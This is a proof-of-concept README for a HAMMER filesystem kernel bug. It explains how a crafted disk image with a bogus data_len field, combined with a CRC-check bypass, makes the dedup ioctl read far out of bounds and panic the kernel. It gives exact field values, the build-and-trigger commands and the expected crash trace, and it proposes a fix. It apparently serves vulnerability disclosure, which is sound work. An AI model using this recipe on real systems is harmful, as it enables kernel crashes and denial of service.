# DF-0929 — PoC: HAMMER dedup `data_len` OOB read via crafted image

## Goal

Trigger a kernel OOB read in `hammer_ioc_dedup` (`hammer_dedup.c:117`)
by serving a crafted HAMMER image whose B-Tree leaf carries a bogus
`data_len` (e.g. `0x7FFFFFFF`). The only validation — a `KKASSERT` at
`hammer_btree.c:736` — is compiled out without `INVARIANTS`, so the
`bcmp` reads ~2 GiB past the 16-64 KiB data buffer and the kernel
panics.

## Files

- `patch_image.py` — locates a B-Tree leaf node in a base HAMMER image,
  sets two leaf elements to `rec_type=INODE`, `data_offset` in
  `HAMMER_ZONE_SMALL_DATA`, `data_len=0x7FFFFFFF`, `data_crc=0` (bypasses
  the CRC check because `hammer_crc_get_leaf` returns `0` for INODE
  records with wrong `data_len`), and recomputes the node CRC.
- `trigger.c` — opens the mountpoint and issues `HAMMERIOC_DEDUP` on
  the two crafted leaves.

## Build & run

```
# 1. Base image:
vnconfig -c vn0 image.img
newfs_hammer -fL test /dev/vn0
mount_hammer /dev/vn0 /mnt
dd if=/dev/zero of=/mnt/filler bs=16k count=1
umount /mnt

# 2. Patch:
python3 patch_image.py image.img evil.img

# 3. Trigger:
vnconfig -c vn0 evil.img
mount_hammer /dev/vn0 /mnt
cat /mnt/filler > /dev/null        # cache the data buffer at the target offset
cc -o trigger trigger.c
./trigger /mnt                     # HAMMERIOC_DEDUP on crafted leaves
```

## Expected output

```
Fatal trap 12: page fault while in kernel mode
fault virtual address = 0x...
...
bcmp(...)              at bcmp+0x...
hammer_ioc_dedup(...)  at hammer_ioc_dedup+0x...   (hammer_dedup.c:117)
hammer_ioctl(...)      at hammer_ioctl+0x...
...
```

## Notes

- The `DATA`-record variant (standard `hammer dedup` command) does not
  need a custom trigger; the OOB then occurs inside
  `hammer_crc_get_leaf` (called from `hammer_btree_extract` at the
  same `hammer_dedup.c:66/82` call sites), still in the dedup path.
- The fix proposed in the finding markdown (promote the `KKASSERT` at
  `hammer_btree.c:736` to a real `EIO` return) protects all callers of
  `hammer_btree_extract_data`, not just dedup.
